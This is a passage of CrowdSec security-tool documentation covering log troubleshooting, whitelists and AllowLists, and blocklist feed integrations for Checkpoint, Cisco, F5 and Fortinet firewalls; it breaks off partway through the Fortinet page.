Kubernetes SHCOPY ``` sudo grep -E "level=(error|fatal)" /var/log/crowdsec.log ``` * Powershell * CMD SHCOPY ``` Select-String "level=(error|fatal)" C:\ProgramData\CrowdSec\log\crowdsec.log ``` SHCOPY ``` findstr "level=error level=fatal" C:\ProgramData\CrowdSec\log\crowdsec.log ``` SHCOPY ``` kubectl logs -n crowdsec crowdsec-agent-* | grep -E "level=(error|fatal)" ``` info Update the commands above if your log location differs. ## Common errors and solutions[โ€‹](#common-errors-and-solutions "Direct link to Common errors and solutions") ### Port conflict[โ€‹](#port-conflict "Direct link to Port conflict") Error Message SHError MessageCOPY ``` level=fatal msg="while serving local API: listen tcp 127.0.0.1:8080: bind: address already in use" ``` By default (see [prerequisites](https://docs.crowdsec.net/u/getting_started/intro.md)), CrowdSec uses ports `6060` and `8080`. If another service uses these ports, update the CrowdSec configuration to use different ports. Update these configuration files: * **Linux** * `/etc/crowdsec/config.yaml` * `/etc/crowdsec/local_api_credentials.yaml` * **Freebsd**, **Opnsense**, **Pfsense** * `/usr/local/etc/crowdsec/config.yaml` * `/usr/local/etc/crowdsec/local_api_credentials.yaml` * **Windows** * `C:\ProgramData\CrowdSec\config\config.yaml` * `C:\ProgramData\CrowdSec\config\local_api_credentials.yaml` Use your preferred editor to modify the files. Example: info These configuration files are owned by the default admin user and you will need to use `sudo` or `Administrator` permissions to modify them. config.yaml YAMLconfig.yamlCOPY ``` api: server: listen_uri: 127.0.0.1:8080 # CHANGE this line to the port you wish to listen on ``` local\_api\_credentials.yaml YAMLlocal\_api\_credentials.yamlCOPY ``` url: http://127.0.0.1:8080 # CHANGE this line to the same port as you configured above login: ... password: ... ``` After making changes, restart the CrowdSec service. * Linux/Freebsd * Windows * Kubernetes SHCOPY ``` sudo systemctl restart crowdsec ``` SHCOPY ``` Restart-Service crowdsec ``` SHCOPY ``` kubectl delete pod -n crowdsec crowdsec-agent-* ``` ## Next steps[โ€‹](#next-steps "Direct link to Next steps") If the above does not resolve your issue, see the full [troubleshooting documentation](https://docs.crowdsec.net/u/troubleshooting/intro.md). If you resolved the issue, continue with the [post-installation steps](https://docs.crowdsec.net/u/getting_started/next_steps.md#1-crowdsec-console-). --- # Whitelists Whitelists tell CrowdSec to ignore certain events or IP addresses. This is useful if you have a static IP you trust, or a service that could generate false triggers (for example, a site that loads many thumbnails, images, or fonts). By default, CrowdSec whitelists private LAN IP addresses via [this parser](https://app.crowdsec.net/hub/author/crowdsecurity/configurations/whitelists). You can add additional IPs or events. This guide covers how to create whitelists and apply them to your CrowdSec instance. We cannot cover every use case. For advanced scenarios, see the [detailed whitelist documentation](https://docs.crowdsec.net/docs/next/log_processor/whitelist/intro.md). info An "event" is a log line being processed by CrowdSec, or an "overflow" from a scenario. ## Whitelist Types[โ€‹](#whitelist-types "Direct link to Whitelist Types") There are three whitelist types in CrowdSec: * Parser (at enrich stage) * Postoverflow * AllowLists It is important to know where these are applied in the pipeline, as it affects behavior and context. ### Parser[โ€‹](#parser "Direct link to Parser") Parser-based whitelists are applied while the event is being enriched. They prevent the log line from reaching the scenario stage, which saves resources. Typically these files are located here, depending on your OS: * Linux: `/etc/crowdsec/parsers/s02-enrich/` * Freebsd: `/usr/local/etc/crowdsec/parsers/s02-enrich/` * Windows: `c:/programdata/crowdsec/config/parsers/s02-enrich/` ### Postoverflow[โ€‹](#postoverflow "Direct link to Postoverflow") Postoverflow whitelists are applied after a scenario triggers. Use this stage for *expensive* checks, such as DNS lookups. info A whitelist is "expensive" if it requires a network call or lookup that could slow event processing. Typically these files are located here, depending on your OS: * Linux: `/etc/crowdsec/postoverflows/s01-whitelist/` * Freebsd: `/usr/local/etc/crowdsec/postoverflows/s01-whitelist/` * Windows: `c:/programdata/crowdsec/config/postoverflows/s01-whitelist/` *Postoverflow whitelist folders do not exist by default, so you must create them manually.* ### AllowLists[โ€‹](#allowlists "Direct link to AllowLists") info AllowLists were added in version `1.6.8`. Ensure you are on this version to follow these steps. AllowLists let you centrally manage whitelisted IP addresses and CIDR ranges using `cscli`. This is the preferred method because AllowLists integrate with major components, including: * AppSec component * `cscli` * Scenario overflows * Console Blocklists ### Which one should I use?[โ€‹](#which-one-should-i-use "Direct link to Which one should I use?") If you already know the IP or CIDR range to whitelist, use `cscli` AllowLists. This excludes the IP across all CrowdSec components. If you need to whitelist a specific event pattern (such as a URI), use a **Parser whitelist**. For advanced logic like DNS or reverse DNS lookups, use a **Postoverflow whitelist**. To summarize: * Use **AllowLists** for IP and CIDR ranges. * **Enricher whitelists** apply to **every** event (each log line). * **Postoverflow whitelists** apply only to **triggered** scenarios. ## Should I create a whitelist?[โ€‹](#should-i-create-a-whitelist "Direct link to Should I create a whitelist?") When configuring CrowdSec for the first time, you may want to create a whitelist for the following reasons: * You have a static IP address that you want to ensure is never banned. * You have a service that could generate a lot of false triggers. info An example is a web application that loads many resources such as thumbnails, images, or fonts. If you are unsure if you need a whitelist, you can monitor the logs and see if there are any false positives that you want to prevent. If a decision is made against your IP and you use remediation components like `iptables` or `nftables`, you may be blocked from **all** services on that server. In our enterprise offering, [Decision Management](https://docs.crowdsec.net/u/console/decisions/decisions_management.md) lets you manage decisions via the [Console](https://app.crowdsec.net/). ## Creating your first whitelist[โ€‹](#creating-your-first-whitelist "Direct link to Creating your first whitelist") Depending on your criteria, you may want to create a whitelist for a specific IP address, a range of IP addresses, or a specific event pattern. We provide examples for each scenario. info The example location shown is for Linux. Adjust the path based on your OS as noted above. ### Static IP address[โ€‹](#static-ip-address "Direct link to Static IP address") #### AllowLists[โ€‹](#allowlists-1 "Direct link to AllowLists") You can create a new AllowList using `cscli`: SHCOPY ``` cscli allowlist create my_allowlist -d 'created from the docs' ``` This command creates an empty AllowList named `my_allowlist`. You can then add IP addresses and CIDR ranges to it. There's no need to specify the typeโ€”AllowLists support both. The `-d` flag lets you add a description, which is useful when managing multiple AllowLists to help identify their purpose. To add entries to the AllowList, provide the name and the value you want to allow: Single IP: SHCOPY ``` cscli allowlist add my_allowlist 192.168.1.1 ``` CIDR range: SHCOPY ``` cscli allowlist add my_allowlist 192.168.1.0/24 ``` A key benefit of using AllowLists is that changes take effect immediatelyโ€”no need to restart CrowdSec. To view the contents of an AllowList, run: SHCOPY ``` cscli allowlist inspect my_allowlist ``` Example output: TEXTCOPY ``` โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Allowlist: my_allowlist โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Name my_allowlist Description created from the docs Created at 2025-05-13T14:10:12.668Z Updated at 2025-05-13T14:12:30.177Z Managed by Console no โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Value Comment Expiration Created at โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ 192.168.1.0/24 never 2025-05-13T14:10:12.668Z โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ ``` You can see the full list of `allowlist` command via `cscli` [here](https://docs.crowdsec.net/docs/next/cscli/cscli_allowlists.md). #### Enricher file[โ€‹](#enricher-file "Direct link to Enricher file") If you want to whitelist a specific IP address for example `192.168.1.1`, you can create a file in the Enricher folder with the following content: /etc/crowdsec/parsers/s02-enrich/01-my-whitelist.yaml YAML/etc/crowdsec/parsers/s02-enrich/01-my-whitelist.yamlCOPY ``` name: my/whitelist ## Must be unique description: "Whitelist events from my IP" whitelist: reason: "My IP" ip: - "192.168.1.1" ``` Once you have created the file you will need to restart the CrowdSec service for the changes to take effect. Restart CrowdSec SHRestart CrowdSecCOPY ``` sudo systemctl restart crowdsec ``` If you want to whitelist a range of IP addresses, for example `192.168.1.0/24`, create a file in the Enricher folder with the following content: /etc/crowdsec/parsers/s02-enrich/01-my-whitelist.yaml YAML/etc/crowdsec/parsers/s02-enrich/01-my-whitelist.yamlCOPY ``` name: my/whitelist ## Must be unqiue description: "Whitelist events from my IP range" whitelist: reason: "My IP range" cidr: - "192.168.1.0/24" ``` Once you have created the file you will need to restart the CrowdSec service for the changes to take effect. Restart CrowdSec SHRestart CrowdSecCOPY ``` sudo systemctl restart crowdsec ``` ### Expression pattern[โ€‹](#expression-pattern "Direct link to Expression pattern") If you want to whitelist a specific event pattern, for example http log line that is a healthcheck so typically a `GET` request to `/health` you can create a file in the Enricher folder with the following content: /etc/crowdsec/parsers/s02-enrich/01-my-whitelist.yaml YAML/etc/crowdsec/parsers/s02-enrich/01-my-whitelist.yamlCOPY ``` name: my/whitelist ## Must be unqiue description: "Whitelist events with GET /health" filter: "evt.Meta.service == 'http' && evt.Meta.log_type in ['http_access-log', 'http_error-log']" whitelist: reason: "GET /health" expression: - "evt.Meta.http_verb == 'GET' && evt.Meta.http_path == '/health'" ``` note This will discard any event that has a `http_verb` of `GET` and a `http_path` of `/health` no matter the origin. Once you have created the file you will need to restart the CrowdSec service for the changes to take effect. Restart CrowdSec SHRestart CrowdSecCOPY ``` sudo systemctl restart crowdsec ``` Expression whitelists are very powerful and can be used to whitelist based on any field in the event. You can find a more detailed version of the [expression guide here](https://docs.crowdsec.net/docs/next/log_processor/whitelist/create_expr.md) which will showcase how you can find which fields are available to you based on the log line you are processing. ### Dynamic IP address[โ€‹](#dynamic-ip-address "Direct link to Dynamic IP address") If you want to whitelist an IP address that is not static, you need to use a external DDNS service to resolve the IP address and then use the Postoverflow whitelist to whitelist the resolved IP address. note This is a postoverflow whitelist as it requires a network call to resolve the IP address. /etc/crowdsec/postoverflows/s01-whitelist/01-my-whitelist.yaml YAML/etc/crowdsec/postoverflows/s01-whitelist/01-my-whitelist.yamlCOPY ``` name: my/whitelist ## Must be unqiue description: "Whitelist events from my dynamic IP" whitelist: reason: "My dynamic IP" expression: - evt.Overflow.Alert.Source.IP in LookupHost("foo.com") ``` warning Please read the [LookupHost](https://docs.crowdsec.net/docs/next/expr/ip_helpers.md#lookuphosthost-string-string) function documentation before altering the current example. ## Testing your whitelist[โ€‹](#testing-your-whitelist "Direct link to Testing your whitelist") Once you have created your whitelist, you can test it by running a log line through the parser and checking the output. info In the example we using Nginx logs, you will need to adjust the testing to point towards your log file. Test an IP/Range whitelist SHTest an IP/Range whitelistCOPY ``` grep 192.168.1.1 /var/log/nginx/access.log | tail -n 1 | sudo cscli explain -f- --type nginx ``` Test an Expression whitelist SHTest an Expression whitelistCOPY ``` grep /health /var/log/nginx/access.log | tail -n 1 | sudo cscli explain -f- --type nginx ``` Example Output SHExample OutputCOPY ``` line: 192.168.1.1 - - [05/Sep/2024:18:07:25 +0000] "GET /health? HTTP/2.0" 200 42 "-" "curl/7.68.0" โ”œ s00-raw | โ”” ๐ŸŸข crowdsecurity/non-syslog (+5 ~8) โ”œ s01-parse | โ”” ๐ŸŸข crowdsecurity/nginx-logs (+23 ~2) โ”œ s02-enrich | โ”œ ๐ŸŸข crowdsecurity/dateparse-enrich (+2 ~2) | โ”œ ๐ŸŸข crowdsecurity/geoip-enrich (+13) | โ”œ ๐ŸŸข crowdsecurity/http-logs (+8 ~1) | โ”” ๐ŸŸข my/whitelist (~2 [whitelisted]) โ””-------- parser success, ignored by whitelist () ๐ŸŸข ``` info Currently postoverflows are not supported by `cscli explain` so you will need to check the logs to see if the whitelist is working. Example logs line you will see: Example logs SHExample logsCOPY ``` time="07-07-2020 17:11:09" level=info msg="Ban for 192.168.1.1 whitelisted, reason [My dynamic IP]" id=cold-sunset name=my/whitelist stage=s01 ``` ## Whitelisted but there still a decision?[โ€‹](#whitelisted-but-there-still-a-decision "Direct link to Whitelisted but there still a decision?") Whitelisting an IP address or event will prevent the events from triggering **new** decisions, however, any existing decisions will still be applied. You must manually remove the decisions by running: Remove decisions SHRemove decisionsCOPY ``` sudo cscli decisions delete --ip 192.168.1.1 ``` ## Next steps[โ€‹](#next-steps "Direct link to Next steps") If you are still looking for examples on how to create a whitelist, you can find more detailed documentation [here](https://docs.crowdsec.net/docs/next/log_processor/whitelist/intro.md). If you have created your first whitelist, tested it and happy to continue then [click here](https://docs.crowdsec.net/u/getting_started/next_steps.md#2-whitelists-). --- # Checkpoint ![Checkpoint Integration Card](/img/console_integrations_checkpoint_card_light.png)![Checkpoint Integration Card](/img/console_integrations_checkpoint_card_dark.png) The CrowdSec Checkpoint integration connects CrowdSec's hosted blocklist endpoint to your Checkpoint firewall.
Check Point calls this feature **Custom Intelligence (IoC) Feeds**, which provide the ability to add custom cyber intelligence feeds into the Threat Prevention engine. info Ensure your Checkpoint device supports Custom Intelligence (IoC) Feeds.
The vendor documentation is available in the [References](#references) section below. ## Setup a Checkpoint Integration Endpoint[โ€‹](#setup-a-checkpoint-integration-endpoint "Direct link to Setup a Checkpoint Integration Endpoint") * 1- Create an integration * 2- Configure Endpoint * 3- Save your credentials * 4- Subscribe to blocklists ### Step 1 - Create an integration in the CrowdSec Console[โ€‹](#step-1---create-an-integration-in-the-crowdsec-console "Direct link to Step 1 - Create an integration in the CrowdSec Console") In your CrowdSec Console account, navigate to the **Blocklist** tab in the top menu bar, then select the **Integrations** sub-menu. Choose the integration type you need, then click **Connect**. info If you don't have a CrowdSec Console account, [sign up here](https://app.crowdsec.net/signup). On mobile, use the menu icon in the top-right corner, tap **Blocklist**, then **Integrations**. [![CrowdSec Integrations Screen](/img/console_integrations_light.png)![CrowdSec Integrations Screen](/img/console_integrations_dark.png)](https://app.crowdsec.net/blocklists/integrations) ### Step 2 - Fill in integration details[โ€‹](#step-2---fill-in-integration-details "Direct link to Step 2 - Fill in integration details") Name the integration *(must be unique to your account)* Optionally, add a description and tags to help you identify it later. You can also configure: * **Enable IP aggregation** โ€” aggregate IPs into CIDR blocks to reduce list size * **Pull limit** โ€” maximum number of IPs returned per pull (default: 10,000) Then click **Create** or **Save**. ![Raw IP List Integration Creation Screen](/img/console_integrations_creation_light.png)![Raw IP List Integration Creation Screen](/img/console_integrations_creation_dark.png) ### Step 3 - Copy your credentials[โ€‹](#step-3---copy-your-credentials "Direct link to Step 3 - Copy your credentials") warning The credentials shown next are displayed **only once**. Copy them before closing this screen. If you lose your credentials, you can regenerate them via **Configure โ†’ Regenerate Credentials** on the integration page. With this HTTPS endpoint and Basic Auth credentials, you can verify the endpoint with any HTTP client, for example: SHCOPY ``` curl -u 'usr:pass' https://admin.api.crowdsec.net/v1/integrations/$integID/content ``` ![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_light.png)![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_dark.png) ### Step 4 - Subscribe to Blocklists[โ€‹](#step-4---subscribe-to-blocklists "Direct link to Step 4 - Subscribe to Blocklists") The integration endpoint will serve the deduplicated blocklists it's subscribed to. After creation, a subscription pop-up appears automatically. You can also access it later via the **Add Blocklist** button. Select one or more blocklists available for your plan, then click **Confirm Subscription**. The blocklist name(s) will appear in the integration tile once subscribed. ![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_light.png)![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_dark.png)![Integration tile after subscription](/img/console_integrations_tile_light.png)![Integration tile after subscription](/img/console_integrations_tile_dark.png) *** ## Configure Checkpoint[โ€‹](#configure-checkpoint "Direct link to Configure Checkpoint") In the **Gateways and Servers** tab, double-click the gateway you want to configure. ![](/assets/images/checkpoint_step1-acfb93165e71088a5cf89ca20d52aa7a.png) In the properties menu, select **Threat Prevention (Custom)**, then activate at least Anti-Bot or Anti-Virus. ![](/assets/images/checkpoint_step2-efcd716e7ef73c744875d85b2e5d3326.png) Go to the **Security policies** tab and click **New IOC Feed**. ![](/assets/images/checkpoint_step3-da6953223e5b9fc69423f03d27d24998.png) Click **Custom Policy**, then **Indicators**. Add your feed information using the endpoint URL with Basic Auth credentials embedded: TEXTCOPY ``` https://:@admin.api.crowdsec.net/v1/integrations//content ``` You can use the Raw IP List format and set the data column to `1`. Click **Test Feed**. ![](/assets/images/checkpoint_step4-7a6468d1dcfbb676c82e71862be94bee.png) Select the gateway and click **Test Feed**. ![](/assets/images/checkpoint_step5-cabe9ce3021e52319d69b5b49482db1a.png) Verify the feed is working, then save the configuration. ![](/assets/images/checkpoint_step6-331e99608ef0ec26f815222f1d381e5b.png) ## Format example[โ€‹](#format-example "Direct link to Format example") The CrowdSec blocklist is served in Checkpoint format, with one entry per line: TEXTCOPY ``` Accessobserv2,192.168.38.187,IP,high,high,AB,C&C server IP Accessobserv2,192.168.38.188,IP,high,high,AB,C&C server IP ``` info Format: `UNIQ-NAME, VALUE, TYPE, CONFIDENCE, SEVERITY, PRODUCT, COMMENT` ## Manage integration size limits with pagination[โ€‹](#manage-integration-size-limits-with-pagination "Direct link to Manage integration size limits with pagination") If you want to learn how to manage integration size limits with pagination, please refer to the [Managing integrations size limits with pagination](https://docs.crowdsec.net/u/console/service_api/integrations.md#managing-integrations-size-limits-with-pagination) section. The Checkpoint format is verbose. When pulling **without compression**, keep `page_size` at or below **\~60,000** entries to stay under the \~5 MB response limit; larger pages return an error. Enabling compression avoids this limit entirely. ## References[โ€‹](#references "Direct link to References") * [Check Point โ€” Custom Intelligence (IoC) Feeds documentation](https://support.checkpoint.com/results/sk/sk132193) ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") Subscribe to blocklists in the [Blocklist Catalog](https://docs.crowdsec.net/u/console/blocklists/catalog.md) to populate your integration. --- # Cisco ![Cisco Integration Card](/img/console_integrations_cisco_card_light.png)![Cisco Integration Card](/img/console_integrations_cisco_card_dark.png) The CrowdSec Cisco integration connects CrowdSec's hosted blocklist endpoint to your Cisco firewall.
Cisco calls this feature **Security Intelligence feeds**, which provide dynamic threat intelligence that can be used in your firewall policies. info Ensure your Cisco device supports Security Intelligence feeds. Depending on the make and model, the steps to ingest the blocklist may differ.
The vendor documentation is available in the [References](#references) section below. ## Setup a Cisco Integration Endpoint[โ€‹](#setup-a-cisco-integration-endpoint "Direct link to Setup a Cisco Integration Endpoint") * 1- Create an integration * 2- Configure Endpoint * 3- Save your credentials * 4- Subscribe to blocklists ### Step 1 - Create an integration in the CrowdSec Console[โ€‹](#step-1---create-an-integration-in-the-crowdsec-console "Direct link to Step 1 - Create an integration in the CrowdSec Console") In your CrowdSec Console account, navigate to the **Blocklist** tab in the top menu bar, then select the **Integrations** sub-menu. Choose the integration type you need, then click **Connect**. info If you don't have a CrowdSec Console account, [sign up here](https://app.crowdsec.net/signup). On mobile, use the menu icon in the top-right corner, tap **Blocklist**, then **Integrations**. [![CrowdSec Integrations Screen](/img/console_integrations_light.png)![CrowdSec Integrations Screen](/img/console_integrations_dark.png)](https://app.crowdsec.net/blocklists/integrations) ### Step 2 - Fill in integration details[โ€‹](#step-2---fill-in-integration-details "Direct link to Step 2 - Fill in integration details") Name the integration *(must be unique to your account)* Optionally, add a description and tags to help you identify it later. You can also configure: * **Enable IP aggregation** โ€” aggregate IPs into CIDR blocks to reduce list size * **Pull limit** โ€” maximum number of IPs returned per pull (default: 10,000) Then click **Create** or **Save**. ![Raw IP List Integration Creation Screen](/img/console_integrations_creation_light.png)![Raw IP List Integration Creation Screen](/img/console_integrations_creation_dark.png) ### Step 3 - Copy your credentials[โ€‹](#step-3---copy-your-credentials "Direct link to Step 3 - Copy your credentials") warning The credentials shown next are displayed **only once**. Copy them before closing this screen. If you lose your credentials, you can regenerate them via **Configure โ†’ Regenerate Credentials** on the integration page. With this HTTPS endpoint and Basic Auth credentials, you can verify the endpoint with any HTTP client, for example: SHCOPY ``` curl -u 'usr:pass' https://admin.api.crowdsec.net/v1/integrations/$integID/content ``` ![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_light.png)![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_dark.png) ### Step 4 - Subscribe to Blocklists[โ€‹](#step-4---subscribe-to-blocklists "Direct link to Step 4 - Subscribe to Blocklists") The integration endpoint will serve the deduplicated blocklists it's subscribed to. After creation, a subscription pop-up appears automatically. You can also access it later via the **Add Blocklist** button. Select one or more blocklists available for your plan, then click **Confirm Subscription**. The blocklist name(s) will appear in the integration tile once subscribed. ![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_light.png)![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_dark.png)![Integration tile after subscription](/img/console_integrations_tile_light.png)![Integration tile after subscription](/img/console_integrations_tile_dark.png) *** ## Manage integration size limits with pagination[โ€‹](#manage-integration-size-limits-with-pagination "Direct link to Manage integration size limits with pagination") If you want to learn how to manage integration size limits with pagination, please refer to the [Managing integrations size limits with pagination](https://docs.crowdsec.net/u/console/service_api/integrations.md#managing-integrations-size-limits-with-pagination) section. This integration uses the plain text format. When pulling **without compression**, keep `page_size` at or below **\~300,000** entries to stay under the \~5 MB response limit; beyond that the response is truncated. Enabling compression avoids this limit entirely. ## References[โ€‹](#references "Direct link to References") * [Cisco โ€” Security Intelligence feeds documentation](https://www.cisco.com/c/en/us/td/docs/security/secure-firewall/management-center/device-config/710/management-center-device-config-71/objects-object-mgmt.html#ID-2243-00000291) * [Video tutorial](https://www.youtube.com/watch?v=OdD9GOjfB3U) ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") Subscribe to blocklists in the [Blocklist Catalog](https://docs.crowdsec.net/u/console/blocklists/catalog.md) to populate your integration. --- # F5 ![F5 Integration Card](/img/console_integrations_f5_card_light.png)![F5 Integration Card](/img/console_integrations_f5_card_dark.png) The CrowdSec F5 integration connects CrowdSec's hosted blocklist endpoint to your F5 BIG-IP AFM.
F5 refers to this feature as **External IP blocklist** or **Feed lists**, which allow you to import external threat intelligence to block or allow traffic based on IP reputation. info Ensure your F5 BIG-IP AFM supports **External IP blocklists** or **Feed lists**.
The vendor documentation is available in the [References](#references) section below. ## Setup a F5 Integration Endpoint[โ€‹](#setup-a-f5-integration-endpoint "Direct link to Setup a F5 Integration Endpoint") * 1- Create an integration * 2- Configure Endpoint * 3- Save your credentials * 4- Subscribe to blocklists ### Step 1 - Create an integration in the CrowdSec Console[โ€‹](#step-1---create-an-integration-in-the-crowdsec-console "Direct link to Step 1 - Create an integration in the CrowdSec Console") In your CrowdSec Console account, navigate to the **Blocklist** tab in the top menu bar, then select the **Integrations** sub-menu. Choose the integration type you need, then click **Connect**. info If you don't have a CrowdSec Console account, [sign up here](https://app.crowdsec.net/signup). On mobile, use the menu icon in the top-right corner, tap **Blocklist**, then **Integrations**. [![CrowdSec Integrations Screen](/img/console_integrations_light.png)![CrowdSec Integrations Screen](/img/console_integrations_dark.png)](https://app.crowdsec.net/blocklists/integrations) ### Step 2 - Fill in integration details[โ€‹](#step-2---fill-in-integration-details "Direct link to Step 2 - Fill in integration details") Name the integration *(must be unique to your account)* Optionally, add a description and tags to help you identify it later. You can also configure: * **Enable IP aggregation** โ€” aggregate IPs into CIDR blocks to reduce list size * **Pull limit** โ€” maximum number of IPs returned per pull (default: 10,000) Then click **Create** or **Save**. ![Raw IP List Integration Creation Screen](/img/console_integrations_creation_light.png)![Raw IP List Integration Creation Screen](/img/console_integrations_creation_dark.png) ### Step 3 - Copy your credentials[โ€‹](#step-3---copy-your-credentials "Direct link to Step 3 - Copy your credentials") warning The credentials shown next are displayed **only once**. Copy them before closing this screen. If you lose your credentials, you can regenerate them via **Configure โ†’ Regenerate Credentials** on the integration page. With this HTTPS endpoint and Basic Auth credentials, you can verify the endpoint with any HTTP client, for example: SHCOPY ``` curl -u 'usr:pass' https://admin.api.crowdsec.net/v1/integrations/$integID/content ``` ![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_light.png)![Raw IP List Integration Credentials Screen](/img/console_integrations_generic_credentials_dark.png) ### Step 4 - Subscribe to Blocklists[โ€‹](#step-4---subscribe-to-blocklists "Direct link to Step 4 - Subscribe to Blocklists") The integration endpoint will serve the deduplicated blocklists it's subscribed to. After creation, a subscription pop-up appears automatically. You can also access it later via the **Add Blocklist** button. Select one or more blocklists available for your plan, then click **Confirm Subscription**. The blocklist name(s) will appear in the integration tile once subscribed. ![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_light.png)![Subscribe Integration to Blocklists Screen](/img/console_integrations_add_blocklist_dark.png)![Integration tile after subscription](/img/console_integrations_tile_light.png)![Integration tile after subscription](/img/console_integrations_tile_dark.png) *** ## Format example[โ€‹](#format-example "Direct link to Format example") The CrowdSec blocklist is served in F5 format, with one entry per line: TEXTCOPY ``` 192.168.38.187,32,BL,crowdsec-myf5Integration 192.168.38.188,32,BL,crowdsec-myf5Integration ``` info Format: `IP, Mask, WL/BL, Category` ## Manage integration size limits with pagination[โ€‹](#manage-integration-size-limits-with-pagination "Direct link to Manage integration size limits with pagination") If you want to learn how to manage integration size limits with pagination, please refer to the [Managing integrations size limits with pagination](https://docs.crowdsec.net/u/console/service_api/integrations.md#managing-integrations-size-limits-with-pagination) section. The F5 format produces larger entries. When pulling **without compression**, keep `page_size` at or below **\~90,000** entries to stay under the \~5 MB response limit; beyond that the response is truncated. Enabling compression avoids this limit entirely. ## References[โ€‹](#references "Direct link to References") * [F5 โ€” External IP blocklist documentation](https://techdocs.f5.com/en-us/bigip-16-1-0/big-ip-access-policy-manager-per-request-policies/using-http-connector/creating-http-connector-request-external-IP-blocklist.html) * [F5 โ€” Feed lists documentation](https://techdocs.f5.com/kb/en-us/products/big-ip-afm/manuals/product/big-ip-afm-getting-started-14-1-0/04.html) ## Next Steps[โ€‹](#next-steps "Direct link to Next Steps") Subscribe to blocklists in the [Blocklist Catalog](https://docs.crowdsec.net/u/console/blocklists/catalog.md) to populate your integration. --- # Fortinet ![Fortinet Integration Card](/img/console_integrations_fortinet_card_light.png)![Fortinet Integration Card](/img/console_integrations_fortinet_card_dark.png) The CrowdSec Fortinet integration connects CrowdSec's hosted blocklist endpoint to your Fortinet firewall.
Fortinet calls this feature **IP address Threat Feeds**, which enable you to integrate external threat intelligence sources into your firewall policies. info Ensure your Fortinet firmware supports IP address Threat Feeds.
The vendor documentation is available in the [References](#references) section below. ## Setup a Fortinet Integration Endpoint[โ€‹](#setup-a-fortinet-integration-endpoint "Direct link to Setup a Fortinet Integration Endpoint") * 1- Create an integration * 2- Configure Endpoint * 3- Save your credentials * 4- Subscribe to blocklists ### Step 1 - Create an integration in the CrowdSec Console[โ€‹](#step-1---create-an-integration-in-the-crowdsec-console "Direct link to Step 1 - Create an integration in the CrowdSec Console") In your CrowdSec Console account, navigate to the **Blocklist** tab in the top menu bar, then select the **Integrations** sub-menu. Choose the integration type you need, then click **Connect**. info If you don't have a CrowdSec Console account, [sign up here](https://app.crowdsec.net/signup). On mobile, use the menu icon in the top-right corner, tap **Blocklist**, then **Integrations**. [![CrowdSec Integrations Screen](/img/console_integrations_light.png)![CrowdSec Integrations Screen](/img/console_integrations_dark.png)](https://app.crowdsec.net/blocklists/integrations) ### Step 2 - Fill in integration details[โ€‹](#step-2---fill-in-integration-details "Direct link to Step 2 - Fill in integration details") Name the integration *(must be unique to your account)* Optionally, add a description and tags to help you identify it later. You can also configure: * **Enable IP aggregation** โ€” aggregate IPs into CIDR blocks to reduce list size * **Pull limit** โ€” maximum number of IPs returned per pull (default: 10,000) Then click **Create** or **Save**. ![Raw IP List Integration Creation Screen](/img/console_integrations_creation_light.png)![Raw IP List Integration Creation Screen](/img/console_integrations_creation_dark.png) ### Step 3 - Copy your credentials[โ€‹](#step-3---copy-your-credentials "Direct link to Step 3 - Copy your credentials") warning The credentials shown next are displayed **only once**. Copy them before closing this screen. If you lose your credentials, you can regenerate them via **Configure โ†’ Regenerate Credentials** on the integration page. With this HTTPS endpoint and Basic Auth credentials, you can verify the endpoint with any HTTP 